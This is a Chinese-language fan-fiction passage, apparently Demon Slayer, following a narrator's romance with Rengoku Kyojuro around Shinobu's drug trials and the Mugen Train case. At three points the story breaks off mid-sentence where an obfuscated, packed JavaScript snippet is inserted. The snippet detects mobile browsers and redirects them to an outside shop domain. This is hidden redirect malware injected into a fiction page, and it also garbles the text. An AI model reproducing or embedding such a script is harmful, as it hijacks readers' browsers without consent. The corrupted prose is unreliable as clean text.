“这是新一期的药剂。”我把装着药剂的特制箱子轻放在桌上。是的,这也是猩猩绯砂铁与猩猩绯矿石制成的。考虑到制剂素材或许来源于某位实验鬼,为了保证药剂的活性,最终大家还是决定以这特殊的矿石制成箱子装载,免得太阳光将它化成灰烬。 实验室研发出的药剂在投入使用前需要经过多次临床试验,比起常规药物的解盲流程,因为特效药的“特定性”,在实验组的设置下并不需要达到如此盲态。 但是实验室没有应用对象,所以最终的临床都需要胡蝶忍在蝶屋进行。等到药剂使用结果记录完成,再送回实验室进行药剂的修正。 毕竟日本应该也没有哪里比蝶屋更善于应对鬼造成的伤害了。 特效药的研发并不是那么容易的事情,但是好在一切都顺利地缓步推进,胜利的曙光虽然还有些模糊,可总比永夜来得幸福。 胡蝶忍把手中的事做完才拿起装着药剂的箱子,我从善如流地走过去关上窗户,幕帘缓缓将室外遮住。天边的乌云还没散去,不过太阳也咬牙挂着。 刚刚还在庭院里的那几个少年这会儿不见踪影,大约是到室内的道场去了。我随口问道:“他们是在练习什么吗?”忍点点头,“练习呼吸法的运用。”她似乎在想什么事,心事重重的样子。 药剂经过稀释后,以内服和外涂的使用方法作为区别,运用到正在蝶屋治疗的鬼杀队队员身上。来治疗的大多是普通的鬼杀队队员和隐部的成员。 我会在这时候搭把手,在蝶屋我学会了基础的医疗知识和简单的护理技能,放在以前我怎么也料不到自己会有这样的改变,但是不知道为什么心里总有一个声音在默念,让我不由自主地学习着。 现在如果有一个伤患在我面前,我也能完整地进行紧急治疗和清理包扎。 出于好奇,我询问起柱大人们会受伤的几率。看得出忍很好奇我为什么会问这样的问题,但还是礼貌地回答了:非常低。除非遇到十二鬼月,对战一般的鬼并不需要柱们亲自动手,稍强一些的鬼也都能不费劲地战胜。 “那炼狱先生呢?”糟糕了!我心里的声音脱口而出了! 炼狱先生最近执行任务去了,虽然从千寿郎那里听来的消息是说:对方只是一个善于躲藏所以难以诛杀,才伤到无辜群众的鬼。但是我总想起自己第一次遇到鬼的那个黄昏,深巷里朦胧的面孔,即使我已经打败过其中之一,那种黏腻的阴翳始终存在于我的深梦。耳垂幻痛。 胡蝶忍没有纠结:“炼狱先生的身手在柱之间也是佼佼者,很难看到他受伤呢。” 怎么说呢,不愧是炼狱先生啊! 忍一边嘱咐护理人员照顾伤患,一边记录着病人的临床反应。结果应该不错,因为原本郁结在她眉宇间的阴沉逐渐消散了。 试用更多的是外涂的药剂,因为大部分伤者遇到的鬼并不太难对付,所以受的多是外伤,且不致命。但是被鬼的血液等□□污染后的伤口往往难以愈合,且伴随着高烧等现象。 古往今来,有伤势过重而死的伤者,也有因这些难以观测的并发症而死的伤者。特效药针对性的药效无疑在这点上成果斐然。 工作将要收尾的时候我溜到走廊上闲逛。天边某处被惊起一群鎹鸦,漆黑的鸟儿们扑腾着翅膀扎进无边无际的紫藤林中。 鬼杀队对我而言依然是一个神秘的地方。漫山的建筑,我的足迹只徘徊在整个蝶屋,第一次拜访鬼杀队的记忆苏醒,我素来不错的方向感犹豫地告诉我那该是主公大人宅邸的位置。 是有人去拜访主公大人了吗? 时间已经靠近黄昏,原本应该被熏成橙红色的天幕此刻仍然阴云密布,兼之太阳不容拒绝地沉进云层之后,晦暗更加,给人一种不祥的观感。我已经为何时会下雨提心吊胆一整日了,到了现在,也就不在乎多或者少一会儿。 无所事事地坐到游廊上时,被我打发去帮忙煎药的肖恩并没有陪在我身边,我独享此刻的寂静,还有骤然紧急的狂风。 “唔姆。”在这个声音响起前我都没有发觉有人靠近,我的反应能力甚至得到过炼狱先生的夸奖!下意识抬头看去,一双赤金的眼睛撞入我的视线。 “啊——”出乎意料令我睁大双眼,这个好像不应该出现在这里的男人就这样突然出现,炼狱杏寿郎微微俯身看着我,从他肩侧滑落的长发被风调皮地吹到我面颊上。仅仅一触,又被吹开。 我当然知道我们现在的姿势看起来怪异极了,可是我的心脏踩着踢踏舞的节拍猛烈跳动起来,一时间难以顾及旁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613417|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的一切。 “炼狱先生!”我呼唤他的名字。 “嗯,朝和,好久不见。”他标志性的爽朗笑容出现了,让我再次确认这一切都是真实的。我试图立刻站起来,但是没能计算到和服的裙摆与木屐的存在,还是炼狱先生一眼看穿我的强装镇定,自然地伸手拉起我。 他力气还真大……借着炼狱先生的手,顺着他直起身的动作,我轻松地被提了起来。站稳时还能紧急抚弄一下衣摆。 我们有近一个星期没见了,他被外派出去执行一个任务,并且搜集一些信息。于是这个礼拜我过得相当无聊。 “炼狱先生怎么会在这里?”这句话说完我才意识到不对劲,这里是蝶屋,“难道说您受伤了吗?!”他的衣着整齐干净,看不出任何脏污的痕迹,仅仅根据露在外面的双手或者面部难以判断衣物遮盖下是否有伤口。不过迎风而来的气息里没带一丝血的味道。 应该没有受伤吧?他出门后千寿郎曾来到有栖川宅告知我他外出的消息,这种临时外派往往难以预判,千寿郎也是在炼狱先生出发后才知道的。 我真想请他去诊疗室坐坐,担心他讳疾忌医,让忍帮他好好检查一番。但这可是炼狱先生啊!一时间心头思绪复杂,“炼狱先生不可能受伤”的想法与“好想让炼狱先生试用一下特效药”的妄念缠斗在一起,那可是炼狱先生啊!我竭力控制自己的大脑,保持冷静。 炼狱先生的体贴让他没有纠结我变幻的心绪,只是朗声道:“我是来找你的,朝和!” “诶?找我的?”我开始反省自己这一周的行程,当然没反省出什么结果,我又没做什么坏事!于是越发不解。 我的态度让炼狱先生也陷入焦灼,这种不解的情绪在我们之间互相传递,双方都积累了双倍!他斟酌着语句,原本垂在身侧的手甚至扶住挂着的日轮刀。 “我今天刚刚结束任务回来,已经和主公大人汇报完毕了。”他有一个好习惯,说话时会看向对话的人,赤金色的海于是延展,沉静的浪潮温暖依旧。“听说你在蝶屋,所以我过来找你。”他自顾自往下说。 我逐渐意识到他想说的话一定有着沉甸甸的分量,绝非我想象得那么轻巧。他郑重的语气抛去了往日的笑意,他也有些紧张。 “接受任务离开之前,没能来得及告诉你,我一直在想这件事。” 炼狱杏寿郎,把他专注的视线投射在我身上,而我在他眼中无所遁形,既像是在绞刑台上听从审判,又像是在大教堂里聆听福音。我原来从不曾有过坚定的信仰,可现在却觉得,神若真有行走人间的化身,也该和他没什么区别。 “抱歉,朝和,希望没让你太担心。”身高让他看向我时下垂着眼,于是更多复杂的情绪被眼睑遮住。他保证道:“下次我会让鎹鸦也来向你说一声。”他从不食言,我深信不疑。 而此时,弥漫在我们之间的这种氛围,究竟该被称为什么? 当他有时会躲开我的关注时,我也时常怀疑自己的猜测。 但当我们四目相对时,我的怀疑不攻自破。 “炼狱先生,你……”一种难言的冲动诱惑着我的内心,将我那不合时宜的话语压回去的是推开门走出的胡蝶忍。 “朝和小姐,我煮了强身健体的补药,喝一碗吧?”忍端着托盘,热气正被风吹散。“啊,炼狱先生也在,”她微微一笑,“不如炼狱先生也试试吧?” 等等,忍,你刚刚说了“试试”吧?这该不会也是什么研制中的新品吧? 对面炼狱先生果然没有拒绝地喝了,忍的托盘上放着的也果然是两碗药。我端起另一碗。在胡蝶忍和炼狱杏寿郎交错的目光中,最终还是一口喝尽。 竟然甜甜的。 一道亮闪仿佛劈开天空,紧随其后是一声闷雷炸响,噼里啪啦的雨滴砸向这片世界。天已经完全暗下来,如同深夜。 我牵肠挂肚一整天的雨终于出现,心里稍稍安心。 “雨下得那么大,不知道什么时候才能停。看来暂时是不能走了呢。”胡蝶忍没有意外,“不如二位今天就留宿蝶屋吧?正好可以观察一下补药的效果~” 20. 琉璃 人的一生没有足够的时间 去完成每一件事情。 没有足够的空间 去容纳每一个愿望。 ——耶胡达·阿米亥 得知炼狱先生前来拜访的时候,我正和家人一起坐在和室里喝茶。 下午茶在我们家被视为一个很优秀的传统。今天轮到父亲展示他的英式茶艺。他拒绝了外祖父珍藏的宋代天青釉茶具,而取出在泊来店新购置的中国瓷茶具,纯白的瓷坯上烧制的纹样是清雅的团花。 以斯里兰卡的发酵红茶为基底,烹煮时加入橙片、佛手柑和香柠檬精油,会陪伴每一个英国人度过一生的伯爵红茶新鲜出炉。父亲喝得津津有味,母亲也早已习惯大不列颠的口味,我尝了一口,还是一如既往的味道。 甜腻而芬芳,与脚下这片土地的匹配程度堪称格格不入。 等我们都喝过了,外祖父才放下报纸端起茶杯,浅尝辄止。似乎舌尖的味蕾才刚触及茶汤他就叫停后续步骤。 “柑橘香是这味茶的点睛之笔。”他评价道,“不过略甜了。”他再次拿起那张报纸,这次看的是另一面。于是我可以看到方才外祖父凝神思考的那页报纸上究竟写了什么。 【列车……开膛手……】 【数十人……斩杀而死……】 “那是……”我有些犹疑,但又忍不住询问,“那说的是,无限列车吗?” “嗯?”外祖父看向我,愣了愣才反应过来我是在问他,他将报纸折叠成仅容纳下头版那则新闻的大小递给我,“是的。又发生了一起案件,这次连车掌都遇害了。”听得出来他很惋惜。 父母也听到我们的对话,加入这个话题。 “无限列车已经停运了吧?” “好像已经有四十人离奇消失了。” 无限列车事件无疑是如今的热点事件,饶是东京都,也没有一个角落不在谈论此事,传得沸沸扬扬。民众关注度相当高。前两天我去高桥家赏花时,在交谈间也听到了有关“吃人列车”的话题。 我细细阅读报纸上的一字一句,铅印的日文已经熟悉我的大脑节奏,自觉地蹦进思考的旋涡。报道并未避讳地直言了列车车掌的遇害原因,死因是伤势过重失血过多,虽然没有配图,但是遍布的割裂伤与“开膛手”这个名字已经黏连在一起。 我忽然想起昨天傍晚。原本只是一次普通的饭后消食运动,借购物在消耗卡路里的同时增加多巴胺的分泌。嘉泽乐婉拒我试图帮忙的举动,动作干练地按照清单将所有收获整齐收纳,而我被安置在一旁百无聊赖地吃着丸子。直到视线里忽然出现灿金色的一角。 是炼狱杏寿郎先发现了我。我欣喜地站起身向他挥手,他应是在回家的路上。我们都没有做出邀约,却理所当然地同行起来。京都的黄昏也存在百鬼逢魔,入夜后同样鲜少有人行走,我和他并肩走在路边,他的鎹鸦飞下来停在肩头看着我。要——炼狱先生曾经这么介绍它的名字——它油亮的羽毛在路灯下光滑如绸。 我曾读到在北欧神话中,站在奥丁肩上的两只乌鸦会替他去视察世间。漆黑的飞行者掠过穹宇,众神之父赐予它视野,于是它在神的耳边窃窃私语告知所看到的一切,以保证奥丁全能全知的权柄。那小小的眼睛里似乎有些与众不同的睿智。 肖恩已在车上等待,原本准备随我们同行的嘉泽乐在接收到我请求的视线后转而带着商品先行与他会合。 我们则有点像两个不同的磁极,古怪的默契化成一拳距离正正好卡在我们双臂之间,我从路边的店面上收回注意力,小心翼翼地抬眼看他时,他正目视前方——他压下眼瞳与我视线相接,短暂地相接。我们不约而同转开眼,直直看着前面。 没有说太多话,很多时候静默着,可是这个夜晚,连与我们擦肩而过的风都是温柔的。 直到路过一个黑洞洞的巷口。 炼狱先生原本的笑容骤然变得严肃,那对微微上挑的眼睛紧紧凝望着黑暗,在下意识握住刀的时候侧身护在我前方,对我解释道:“前面有鬼的气息。” 鎹鸦被惊起,粗嘎的声音盘旋着:“有鬼!有鬼!有鬼!” 幽黑的巷子曾经构建成我的恐怖梦境,可护在我身前的男人毫无犹豫地劈开恐惧,他带着我进入一个崭新的世界。 “朝和小心。”他说着。 而我这次当然不再害怕了。 我们一同跑向前方,在那个巷子尽头,一盏昏黄的灯光下,瘫软在地的仅是一位人类少女。 她没有被吃掉,而是惨遭玩弄泄愤般的虐伤。没有鬼的踪迹,可那位少女脸上、手上,甚至藏在和服下的身体上深浅不一的伤口却遍布鬼的气息。 我为这惨状感到怔悚。但是她还活着。胸口的起伏微弱却那么坚强。我急忙从随身携带的提包中拿出药品——自从和胡蝶忍学习了急救技能,每次外出时即便不带着肖恩,我也会带上药物。大多是治疗基础外伤的药物,止血药、退热药、消毒酒精、消炎药,当然不会少了外涂的特效药,还有止血绷带。 炼狱先生帮着一起检查了这位少女的伤势,伤口虽多,却并没有严重的致命伤。特效药的最新版本已经进化成药粉的状态,我轻轻把药粉洒在伤处,她清瘦的身体因疼痛而微微抽动。 但是特效药的治疗效果非常显著,她的伤口已经得到初步止血,和服下的伤口在此地不便处理,我只能将她面颊和手臂上的伤口简单包扎。 炼狱先生把手掌按在我的肩头,似夸奖,更似鼓励:“别担心朝和,你在胡蝶那里学得很好,做得很优秀。” 鎹鸦已经飞去寻找附近的鬼杀队成员和隐部,他们很快就会赶到。“她没事了。”炼狱杏寿郎肯定道。 我让肖恩开车带着伤者与看顾她的两个隐部成员先去蝶屋。事后我才发现自己的手一直在颤抖。我曾因鬼受伤过,也曾亲自捉到过鬼,在蝶屋时也见过受伤的鬼杀队成员与隐部。然而这是我第一次如此直观地见到被鬼伤害的无辜平民,我成功救下了她,但是急救时好几次我甚至觉得她是不是已经死了,一切都是我的幻梦。 很显然,她不是第一个,也不会是最后一个。 我脑子里太乱了。每当我觉得自己足够坚强,能够去面对未知的一切的时候,现实都会告诉我,我的认知实在片面。我不知该庆幸那个鬼跑得太早,还是我们赶到得太及时,只能麻木地接过嘉泽乐递来的手帕擦拭手指上的血迹。 直到我的手被握住。 是炼狱先生。当然是他。 我抬头看向他,他也正看着我,在这个辽阔却寂静的夜里,我们四目相对,他将我的手紧紧握在掌心。从他血脉中传承的火焰沿着温度燃烧到我的指尖,将凉意驱逐。 思绪回到现在,若是从前的我,对这样离奇的案件或许有千百种猜想,可如今所有思绪只通向一个终点:“会是鬼做的吗?” 外祖父没有回答。可在沉默里我已经知道真相。透气的茶室在一刹那变成封闭的蒸笼,压抑的气氛由外而内挤压我的肺脏和胃部,蹂躏我残留的理智,我脑海中有一辆看不清的列车呼啸而过,车轨留下一路的斑驳血迹。我当然畏惧死亡,我不想看到任何人离开。至少,不应该是这样离开。 直到嘉泽乐敲门进入,给这间和室输送进新鲜空气。 我快步跑去。不知道为什么门房没有邀请炼狱先生进屋,但他站在门外等待这个行为具有的不确定感让我无比担忧,仿佛等不及我到门口,他就会离开——我知道他当然不会!但我不能完美掌控我的思绪,想象力在这一刻短暂得到了自主权,恐惧则是最佳燃料。 “炼狱先生!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613418|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一身正气的男人挺拔地站在阳光下。他循声看向我时,那种非人的感觉成倍增加,不论是金发还是金红的双眼,都璀璨无比。我意识到他穿着正式、整齐,披着羽织,全副武装。肩膀上甚至停着鎹鸦。 本能让我第一时间联想到方才说起的无限列车。 “朝和,下午好!”他没什么异常,仍然朝气蓬勃地与我打招呼。只听见这样一句,疲乏的困倦就会全都飞走。 “下午好,炼狱先生。”我向他走近了些,似乎再进一步就能闻到他身上阳光的味道。“是要外出吗?”他平日就是一个很注重仪表的人,不论是衣着还是头发,都会打理得整整齐齐,从哪怕一根头发丝上都看不出懈怠。 不知是我近来观察力的确练出效果,还是他的固有形象已经深刻我的脑中,今天见面的第一眼我就轻松看出他的不同。 问题不在于环境、天气或者时间。一切变化仅源自他自身。 “嗯!”炼狱杏寿郎果然点头。 久违的执拗让我不想开启接下来的话题。 告别和分离都不是我的拿手戏,尤其我才从昨夜的回忆里走出。我怕自己表现不出应该有的煽情效果,更怕自己实际流露的情绪太超过要求。我不希望自己一开口会说“别去”,也不希望自己提出送行时得到的答复是“不必”。 炼狱杏寿郎仍一眨不眨地注视我。 胡蝶忍小姐说过有一位柱认为炼狱先生很像猫头鹰。这倒不是我第一次把他想象成动物,但是在得到猫头鹰这个答案前我一直觉得自己的所有类比都不够贴切。 还真像。 他总直视前方,很少与人对视,可一旦他看向你的时候就很少眨眼,任何时候你回望他暖融的双眼都能在那燃烧的赤金中看见自己的倒影。你当然会以为自己是他的全世界。至少在视线相接的瞬间,这个答案翩然浮现。 “接下来要外出执行一个任务,所以来和你告别,朝和。”自从上次在蝶屋见面后,他果然每次外出都会来同我告别,时间不那么紧迫时他会亲自来,时间紧迫些就差他的鎹鸦前来。他的鎹鸦看久了竟能和别的黑黢黢区别开来。不知是不是我的错觉,话说别人的鎹鸦有那么爱说话吗? 我纠结地踢踢地面,犹豫地问道:“……是要去无限列车吗?” 炼狱杏寿郎是这样的人,永远笑着,任何时候都会给你回应。听到我猜出目的地,他也不会太惊讶,而是坦诚地应答。“朝和也听说这件事了吗?”午后的微风足以吹动他的羽织,悬挂在腰间的日轮刀微微显出轮廓,“被波及的平民越来越多,怀疑有十二鬼月参与。所以主公派我前去处理。” 他闭口不提危险,因为他从不畏惧危险。他是与恐惧截然无关的绝缘体,生命的字典上无法存续与恐惧相关的一切内容,他有他燎着火焰的刀共同面对千难万险。到死也不会松手。 我轻轻呼出一口气。意识到自己早已在无形中把他这次外出和无限列车连上线,事实的揭露也就没有那么难以接受了。 “至少,让我送你到车站吧!”我恳求地看向他。 我不确定他有没有动摇。 他一旦做下决定就只会通知结果。我祈求距离他坐上那趟列车还有些宽裕的时间,肖恩开车的速度可以很快,无论如何都赶得上出发的班点。 他的笑容加大了:“队内还在调查无限列车停运后的去处,距离出发其实还有段时间。”炼狱杏寿郎当然知道我的纠结,他有比这世上任何一个人都要善良温柔的心肠。 他总在照顾别人,当然也照顾着我,照顾我的安危也照顾我的心情,把我妥当地安置在他的庇护之下。而我对他抱有的这份情感,足以在黑夜里吸引我无数次向他奔去。 他中气十足地邀请道:“我们可以去车站附近一起吃晚饭!” 21. 琥珀 天色逐渐黑如深墨。今夜月明星稀,寂寂无风。 炼狱杏寿郎走得比我快一些,每一次落步都踏在我前方的位置。我能看见他的侧脸,还有眼尾令人羡慕的长睫。 这是我第一次来到东京的车站。回到日本后,紧凑的日程安排中尚未挤出一次需要长途外出的行程,所谓北海道的樱,神奈川的海,青森的森林,在我脑海中仅有图文构成的模糊印象。毕竟旅行不是一个该在此时出现的好主意。 东京车站的建筑设施与世界上大多数车站相似,并无什么特别醒目的地方,只不过京都车站每天夜晚会运营两班夜车路线:九点左右一班,十一点左右一班。深受“开膛手”这种堪称都市秘闻事件影响的无限列车,正是负责这两趟夜车线路。 无限列车是在今年初才正式投入使用的全新列车,无论是车厢基础设施还是组成列车的机械系统,毫无疑问,都是日本动车业最尖端的产品。 在鬼杀队搜集的资料中,关于列车乘客诡异失踪的第一起有关报道也只是近两个月才出现。换言之,有一个鬼潜藏在无限列车上,两个月的时间吃了至少五十人……我胸腔里升腾起一阵毛骨悚然。用食人数量定义一个鬼的强度,听起来太不近人情了。 受到无限列车事件的影响,东京地区乘坐夜车的乘客骤然削减,黄昏后车站附近的餐饮生意也逐渐凋敝。一整夜里没有一个人也成了常态。 车站内的灯光已经熄灭了,仅剩下管理员的办公室有一点微弱的黄色透出窗口。 我调整自己的坐姿,长时间倚靠椅背让腰肌尝到酸疼的滋味,嘉泽乐体贴地在我后背塞下一个靠枕。“靠在我身上休息一会儿吧,小姐。”她关心道。自从被我坚决拒绝回家之后,肖恩与嘉泽乐没有反抗我的决定,而是沉默地陪我坐在车内等待。 炼狱杏寿郎坐着动车离开已经有一个小时了,正常来说应该已经到达终点站了。但是不知为何总有一股莫名的忧虑萦绕在我心间。并非是担忧他无力应对,也绝无对他能力的不信任。而是那种百密一疏却难寻漏洞的仓皇,我总觉得自己忘了注意些什么。 跟着炼狱先生走到发现车掌遗体的车站时天早已经黑了。他的目的地是停放无限列车的最终站,只有当天的最后一班列车才会去到那里。 日本的夏天没有道理可言。四点一到,天穹就像拉开帷幕,霎时间天光驱散黑暗,朝阳从云霭后蹦出,宣告一天开始。而傍晚时,表盘上的指针才转过7点,周遭便泼了墨似的暗下来,让人隐隐生忧的黑夜再次降临,无边危险暗藏其中。 车站没有任何异常,连一丝鬼出现过的气息都没有。炼狱先生并不意外。昨夜那个虐伤女性的鬼和报纸上残杀车掌的鬼在我脑海中已经构建成统一的形象。我看向炼狱先生,却意外被一个女孩儿的声音吸引。 是坚守在铺面的一对祖孙。黑发的小女孩儿坐在地上,腿上摆着货架。柜台后的老奶奶花白的头发梳成一个简洁的髻,在看着什么。她们正就鬼的存在与否进行争论。 被鬼侵害的平民不在少数,但是真正了解鬼的存在的人却很稀有。荒僻些的地方将鬼认成吃人的野兽,更接近文明的城市则将鬼流传成连环杀人犯的形象。觉得鬼的存在是一个荒谬之谈实为常见,就如同鬼杀队的存在并不被官方认可,猎鬼人的行动大多在夜色遮掩下进行。 谁也没想到炼狱先生会直白地上前询问祖孙俩是否见过鬼,这个行为不仅震惊了同行的鬼杀队成员,连炼狱先生的鎹鸦都吓得不轻。 小女孩儿强装镇定地守护在老妇人身前时,哪怕她声音都在发颤,也没有丝毫退缩。甚至用力将手中被炼狱先生关心的豆沙面包砸到他脸上——鸦雀无声的死寂——炼狱先生却不以为然,将面包拿在手里大口咬下。咀嚼动作加大了他的笑容,他果然没关心错这个红豆面包,成功得到精神满满的最高评价:“好吃!” 我的心情在坐过山车,终于在这个时候到达忍耐的极限,被这状况外的情景逗笑了。 等炼狱先生豪气买下所有便当时,我竟然只觉得理因如此。在我看来,这正是炼狱先生的魅力所在。只要有他在,事情的发展就会有趣起来,可是那种趣味从不脱离掌控,只因炼狱先生能给人无限的可靠感。 他拎了两手的便当,已经没有多余的手来同我挥手告别。只能留给我笑容。 我知道他的用意。 装载着满满便当的鬼杀队成员因此不必与他同行,而售空便当的祖孙也可以尽早回家,远离车站不明的恐惧。而我,只要送到站口就好。 他从不说前路的危险,他深知自己的天赋究竟拥有多么可怖的力量,而炼狱杏寿郎将这份力量锻造成自己无坚不摧的利刃。他会用手中的炎刀将那拦路的险阻烧成灰烬,也会保护身后每一个弱小的人。这是他对自己的强大而肩负的责任。 我当然知道……于是我也对他回以微笑。 “回去吧,朝和。”他笑着。 我一直追随他的背影,有时我会追上他与他并肩而行。但有时,我只能看着他的背影。原本就显眼的金发在灯光下愈发夺目,转身时羽织扬起波澜的弧度,火焰纹栩栩如生,似在燎灼。 我几乎想要出声叫住他。 并没有。 列车很快驶走,失去炼狱杏寿郎的车站空空荡荡。肖恩询问我是否回家。 我的心脏正轰鸣,巨大的失落是海水席卷下缠人的海草。是该回家了,他答应事情结束后会让鎹鸦来送信,现在该回去好好休息养足精神。 可为什么…… ——“我有很不好的预感,脊背都在发凉了。”听到卖便当的婆婆这样说时,思绪骤然回笼。让我的身体都感到不安的源头,并没有随着炼狱先生的远去而削弱。 灯光随着最后一趟列车离开而逐渐关闭的车站,在黑洞洞的夜里张开了嘴。 我亲眼看着那对祖孙离开。肖恩再次询问我是否要回家时我拒绝了他。看得出他和嘉泽乐并不赞同,可我意已决,他们是最忠实的仆从。 我们坐在车内,车停在车站门口。肖恩开了车前灯,嘉泽乐顺便打开车厢内的载灯。车厢内是这深夜里狭小的孤岛,四下的深晦如深海,或许藏着不明的凶险。我握紧放在腿上的日轮刀。至少让我等到天亮吧。 困倦没能及时赶到,我丝毫不觉得疲惫。炼狱先生单独拿给我的那三份牛肉锅便当还留有温热,木质盒盖下藏着的香味偷偷溜出缝隙。肉类烹饪后的香味具有温度,一把抓住我的思维,拽回黄昏。 炼狱先生带着我走进一家面馆坐下,当他指着招牌询问我需要什么时,我提出和他一样就好。他没有犹豫,爽快地点单两碗猪骨油乌冬。 出门前我拜托肖恩和嘉泽乐千万千万不要随行。自从知道上次与炼狱先生外出时他们一直缀在身后,淡淡的忧愁就萦绕着我。好不容易让他们答应坐在车内等待,下车前炼狱先生差点开口邀请他们一起吃面。 幸好我反应及时截住话头! 面前看着寡淡,吃起来却鲜美的乌冬面用料称得上朴素,然而顺着食道流淌时得到的体验却极佳。大约美食原本也不需要多么精细地加工食材,猪骨汤的醇香只要一小把白葱就能提亮细微的甜味。 这种具有反差感的食物让我不由想起上次在蝶屋喝的那碗补药。看起来黑沉的汤汁无疑在告诉眼睛它有着怎样惨绝人寰的苦味,可是实际落肚只余舌尖微微的回甘。听说近来忍在鬼杀队内大力推广。 “好吃!”炼狱先生的评价言简意赅振聋发聩!同行的鬼杀队成员称赞老板的手艺即使去上野开店都没有问题,我深以为然。可惜店内生意实在寥落,唯一的雇工酩酊大醉地昏睡在一旁。 藏在无限列车上的鬼已经成为一个非常危险的恶性肿瘤,就扎根在列车沿线,如同掐紧动脉,给周边的居民带来极大影响。 鬼杀队得到的关于无限列车的最新踪迹:停运的列车被藏在线路最终站的修理厂。那里也是炼狱先生这次的目的地。黄昏漏过窗纸,这一刻的宁静显得无比久远,我看向炼狱先生时,他直视前方。 不知坐了多久,嘉泽乐轻拍我才将我叫回现实:“小姐!卖便当的婆婆她们来了。” 那对祖孙果然踏着夜色回到车站。名为小福的女孩儿瘦小的身体背着硕大的包裹,她身旁的奶奶神情不赞同地正对她说着什么。距离她们回去才过去三个小时左右。这意味着她们回去之后并没有休息,而是做足便当的准备工作,等待早晨的售卖。 “我们下车吧。”我对肖恩说,“肖,再去帮一下那个女孩儿。” 很快就会天亮了。我看着天穹与地平线衔接的远处,沉睡的城市几乎没有点亮的灯光。月隐星消,最深晦的时刻悄然登场。 我们一同走进车站。 肖恩帮奶奶搬便当到休息室,小福便将便当依次摆放在柜台上。她告诉我她的母亲怀孕了,父亲在车站边开的饭店也因“开膛手”事件而生意大降。所以她会陪奶奶一起在车站售卖便当,她们主要负责清晨和夜晚的时间段,白天比较安全,会让还能走动的母亲来交替。她是这东京都里一个平凡的普通人,为了生存而竭尽全力。鬼杀队保护的正是这样的人、这样的孩子。 我们共同沉默的无声中有一息的时间夜风静止。 只有经历过的人才能感同身受的阴戾在我后颈跳跃。难以用简单言辞概括的腥臭如同形成一个庞大的个体拥挤而来,黑暗中虬结的影子缓慢踱进灯光边缘,一张似人非人的蓝灰色面孔上野兽般的竖瞳射出两道精光。它还保有人类的基础轮廓,随着迈步到灯光下彻底显露出狰狞的表情。还有尖利的牙齿。 它是“食人的野兽”,是“连环杀人犯”,是鬼,是放弃身为人类的叛道者。 猖狂的笑声不断被喉咙挤压出,“闻到了闻到了……这令人作呕的便当味……”它竟然还能如此完美地演绎出小人得志的表情。 这只鬼已经与炼狱先生接触过这件事令我稍稍安心。我拿起日轮刀到面前,冷风拂乱我的黑发,我的心却不起涟漪。 我向前迈出一步。越过警惕地护在我身边的嘉泽乐,示意她保护那个孩子。 “也是猎鬼人吗?你的血闻起来倒是很香,看起来比刚才那个也弱小很多呢!”它神情一凛,恶意宣泄而出,张着尖利的爪就要向我挥来。 我自然不会逃,先攻才是我的拿手强项!振刀而出,握住刀柄,秘银色的刀刃在灯光下冷锋淬淬,我将刀刃置向后方——向它冲去!而它怎么会躲?在被他视为弱小的人类面前,它尚未展示自己引以为傲的能力,又如何会躲? 身体比我的记忆更熟悉格斗的技巧,在撞向鬼之前已经率先错开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16613419|187639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。我借力微转身体朝向,用力将后方的刀向前抡去!惯性将日轮刀大力地撞向它的脊骨,我感觉到刀尖划破皮肤切入肌肉组织的细微变化。但可惜只有短短的一瞬间。落地时我踏出几步扬刀在前才站稳身形。 那个鬼有着极快的速度。它躲开我绝大部分攻击后,不可置信地伸手摸着颈椎处的伤痕。看不出它是疼痛更多还是恼怒更多。 此刻越发抛却人类的外观。 我好歹跟鬼杀队的炎柱大人特训过。虽然搞不明白呼吸法究竟是个什么东西,但是炼狱先生关于炎之呼吸的基础招式在特训时给我和千寿郎一起展示过,绝无藏私。和炼狱先生待在一起我从没有一点懈怠,学得相当刻苦呢。 经过本人改良的炎之呼吸·第一式·不知火。对我而言用来突击攻其不备最为适宜。对方一旦有所防备,就很难多次奏效了。可惜没带大太刀出门,不然方才那一击,它未必躲得开。 闻声赶来的肖恩护着婆婆站在走道另一头担忧地看着。我该将这个鬼逼到远离便当店的位置,不能让它伤害任何一人。也决不能给它机会逃掉。既然它的速度非常快……我改换起势,侧身纵刀,双手同握,作出刺状。我不怕它的目标是我,只怕它的目标是小福。 日本刀的突刺与西方击剑截然不同。这种源自天然理心流的剑术在突刺时每一次都要比上一次更深入,三下则止。 第一下刺中。 第二下未中。 鬼的命门便是他们的脖颈。颈项被伤如同阴影蒙住它的眼睛,它的惊慌难以抑制,极速只成了逃跑的最佳工具。 随机应变是一种优秀的战斗品质。我及时转变,出刀后劈向它的手。 